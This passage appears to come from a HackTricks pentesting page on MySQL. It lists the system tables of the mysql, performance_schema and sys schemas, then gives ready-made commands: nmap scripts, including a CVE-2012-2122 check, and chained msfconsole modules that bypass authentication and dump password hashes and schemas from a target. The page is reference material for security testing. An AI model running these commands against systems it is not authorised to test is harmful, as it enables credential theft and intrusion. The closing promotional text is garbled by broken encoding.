general\_log\
gtid\_executed\
gtid\_slave\_pos\
help\_category\
help\_keyword\
help\_relation\
help\_topic\
host\
index\_stats\
innodb\_index\_stats\
innodb\_table\_stats\
ndb\_binlog\_index\
plugin\
proc\
procs\_priv\
proxies\_priv\
roles\_mapping\
server\_cost\
servers\
slave\_master\_info\
slave\_relay\_log\_info\
slave\_worker\_info\
slow\_log\
tables\_priv\
table\_stats\
time\_zone\
time\_zone\_leap\_second\
time\_zone\_name\
time\_zone\_transition\
time\_zone\_transition\_type\
transaction\_registry\
user
{% endtab %}
{% tab title="performance_schema" %}
accounts\
cond\_instances\
events\_stages\_current\
events\_stages\_history\
events\_stages\_history\_long\
events\_stages\_summary\_by\_account\_by\_event\_name\
events\_stages\_summary\_by\_host\_by\_event\_name\
events\_stages\_summary\_by\_thread\_by\_event\_name\
events\_stages\_summary\_by\_user\_by\_event\_name\
events\_stages\_summary\_global\_by\_event\_name\
events\_statements\_current\
events\_statements\_history\
events\_statements\_history\_long\
events\_statements\_summary\_by\_account\_by\_event\_name\
events\_statements\_summary\_by\_digest\
events\_statements\_summary\_by\_host\_by\_event\_name\
events\_statements\_summary\_by\_program\
events\_statements\_summary\_by\_thread\_by\_event\_name\
events\_statements\_summary\_by\_user\_by\_event\_name\
events\_statements\_summary\_global\_by\_event\_name\
events\_transactions\_current\
events\_transactions\_history\
events\_transactions\_history\_long\
events\_transactions\_summary\_by\_account\_by\_event\_name\
events\_transactions\_summary\_by\_host\_by\_event\_name\
events\_transactions\_summary\_by\_thread\_by\_event\_name\
events\_transactions\_summary\_by\_user\_by\_event\_name\
events\_transactions\_summary\_global\_by\_event\_name\
events\_waits\_current\
events\_waits\_history\
events\_waits\_history\_long\
events\_waits\_summary\_by\_account\_by\_event\_name\
events\_waits\_summary\_by\_host\_by\_event\_name\
events\_waits\_summary\_by\_instance\
events\_waits\_summary\_by\_thread\_by\_event\_name\
events\_waits\_summary\_by\_user\_by\_event\_name\
events\_waits\_summary\_global\_by\_event\_name\
file\_instances\
file\_summary\_by\_event\_name\
file\_summary\_by\_instance\
global\_status\
global\_variables\
host\_cache\
hosts\
memory\_summary\_by\_account\_by\_event\_name\
memory\_summary\_by\_host\_by\_event\_name\
memory\_summary\_by\_thread\_by\_event\_name\
memory\_summary\_by\_user\_by\_event\_name\
memory\_summary\_global\_by\_event\_name\
metadata\_locks\
mutex\_instances\
objects\_summary\_global\_by\_type\
performance\_timers\
prepared\_statements\_instances\
replication\_applier\_configuration\
replication\_applier\_status\
replication\_applier\_status\_by\_coordinator\
replication\_applier\_status\_by\_worker\
replication\_connection\_configuration\
replication\_connection\_status\
replication\_group\_member\_stats\
replication\_group\_members\
rwlock\_instances\
session\_account\_connect\_attrs\
session\_connect\_attrs\
session\_status\
session\_variables\
setup\_actors\
setup\_consumers\
setup\_instruments\
setup\_objects\
setup\_timers\
socket\_instances\
socket\_summary\_by\_event\_name\
socket\_summary\_by\_instance\
status\_by\_account\
status\_by\_host\
status\_by\_thread\
status\_by\_user\
table\_handles\
table\_io\_waits\_summary\_by\_index\_usage\
table\_io\_waits\_summary\_by\_table\
table\_lock\_waits\_summary\_by\_table\
threads\
user\_variables\_by\_thread\
users\
variables\_by\_thread
{% endtab %}
{% tab title="sys" %}
host\_summary\
host\_summary\_by\_file\_io\
host\_summary\_by\_file\_io\_type\
host\_summary\_by\_stages\
host\_summary\_by\_statement\_latency\
host\_summary\_by\_statement\_type\
innodb\_buffer\_stats\_by\_schema\
innodb\_buffer\_stats\_by\_table\
innodb\_lock\_waits\
io\_by\_thread\_by\_latency\
io\_global\_by\_file\_by\_bytes\
io\_global\_by\_file\_by\_latency\
io\_global\_by\_wait\_by\_bytes\
io\_global\_by\_wait\_by\_latency\
latest\_file\_io\
memory\_by\_host\_by\_current\_bytes\
memory\_by\_thread\_by\_current\_bytes\
memory\_by\_user\_by\_current\_bytes\
memory\_global\_by\_current\_bytes\
memory\_global\_total\
metrics\
processlist\
ps\_check\_lost\_instrumentation\
schema\_auto\_increment\_columns\
schema\_index\_statistics\
schema\_object\_overview\
schema\_redundant\_indexes\
schema\_table\_lock\_waits\
schema\_table\_statistics\
schema\_table\_statistics\_with\_buffer\
schema\_tables\_with\_full\_table\_scans\
schema\_unused\_indexes\
session\
session\_ssl\_status\
statement\_analysis\
statements\_with\_errors\_or\_warnings\
statements\_with\_full\_table\_scans\
statements\_with\_runtimes\_in\_95th\_percentile\
statements\_with\_sorting\
statements\_with\_temp\_tables\
sys\_config\
user\_summary\
user\_summary\_by\_file\_io\
user\_summary\_by\_file\_io\_type\
user\_summary\_by\_stages\
user\_summary\_by\_statement\_latency\
user\_summary\_by\_statement\_type\
version\
wait\_classes\_global\_by\_avg\_latency\
wait\_classes\_global\_by\_latency\
waits\_by\_host\_by\_latency\
waits\_by\_user\_by\_latency\
waits\_global\_by\_latency\
x$host\_summary\
x$host\_summary\_by\_file\_io\
x$host\_summary\_by\_file\_io\_type\
x$host\_summary\_by\_stages\
x$host\_summary\_by\_statement\_latency\
x$host\_summary\_by\_statement\_type\
x$innodb\_buffer\_stats\_by\_schema\
x$innodb\_buffer\_stats\_by\_table\
x$innodb\_lock\_waits\
x$io\_by\_thread\_by\_latency\
x$io\_global\_by\_file\_by\_bytes\
x$io\_global\_by\_file\_by\_latency\
x$io\_global\_by\_wait\_by\_bytes\
x$io\_global\_by\_wait\_by\_latency\
x$latest\_file\_io\
x$memory\_by\_host\_by\_current\_bytes\
x$memory\_by\_thread\_by\_current\_bytes\
x$memory\_by\_user\_by\_current\_bytes\
x$memory\_global\_by\_current\_bytes\
x$memory\_global\_total\
x$processlist\
x$ps\_digest\_95th\_percentile\_by\_avg\_us\
x$ps\_digest\_avg\_latency\_distribution\
x$ps\_schema\_table\_statistics\_io\
x$schema\_flattened\_keys\
x$schema\_index\_statistics\
x$schema\_table\_lock\_waits\
x$schema\_table\_statistics\
x$schema\_table\_statistics\_with\_buffer\
x$schema\_tables\_with\_full\_table\_scans\
x$session\
x$statement\_analysis\
x$statements\_with\_errors\_or\_warnings\
x$statements\_with\_full\_table\_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements\_with\_sorting\
x$statements\_with\_temp\_tables\
x$user\_summary\
x$user\_summary\_by\_file\_io\
x$user\_summary\_by\_file\_io\_type\
x$user\_summary\_by\_stages\
x$user\_summary\_by\_statement\_latency\
x$user\_summary\_by\_statement\_type\
x$wait\_classes\_global\_by\_avg\_latency\
x$wait\_classes\_global\_by\_latency\
x$waits\_by\_host\_by\_latency\
x$waits\_by\_user\_by\_latency\
x$waits\_global\_by\_latency
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
[**RootedCON**](https://www.rootedcon.com/)ã¯**ã¹ãã€ã³**ã§æãé¢é£æ§ã®é«ããµã€ããŒã»ãã¥ãªãã£ã€ãã³ãã§ããã**ãšãŒããã**ã§ãæãéèŠãªã€ãã³ãã®äžã€ã§ãã**æè¡çãªç¥èã®ä¿é²ã䜿åœãšããŠ**ããã®äŒè°ã¯ããããåéã®æè¡ãšãµã€ããŒã»ãã¥ãªãã£ã®å°é家ã®ç±ã亀æµã®å Žã§ãã
{% embed url="https://www.rootedcon.com/" %}
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
* **ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ** HackTricksã§**äŒç€Ÿã宣äŒ**ãããã§ããïŒãŸãã¯ã**ææ°ããŒãžã§ã³ã®PEASSã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒã**ãããã§ããïŒ[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)ããã§ãã¯ããŠãã ããïŒ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)ãçºèŠããŸããããç¬å çãª[**NFT**](https://opensea.io/collection/the-peass-family)ã®ã³ã¬ã¯ã·ã§ã³ã§ãã
* [**å
¬åŒã®PEASSïŒHackTricksã®ã°ããº**](https://peass.creator-spring.com)ãæã«å
¥ããŸãããã
* [**ð¬**](https://emojipedia.org/speech-balloon/) [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ãŸãã¯[**telegramã°ã«ãŒã**](https://t.me/peass)ã«**åå **ãããã**Twitter**ã§**ãã©ããŒ**ããŠãã ãã[**ðŠ**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**ã**
* **ãããã³ã°ã®ããªãã¯ãå
±æããããã«ãPRã** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ãš** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ã«æåºããŠãã ããã**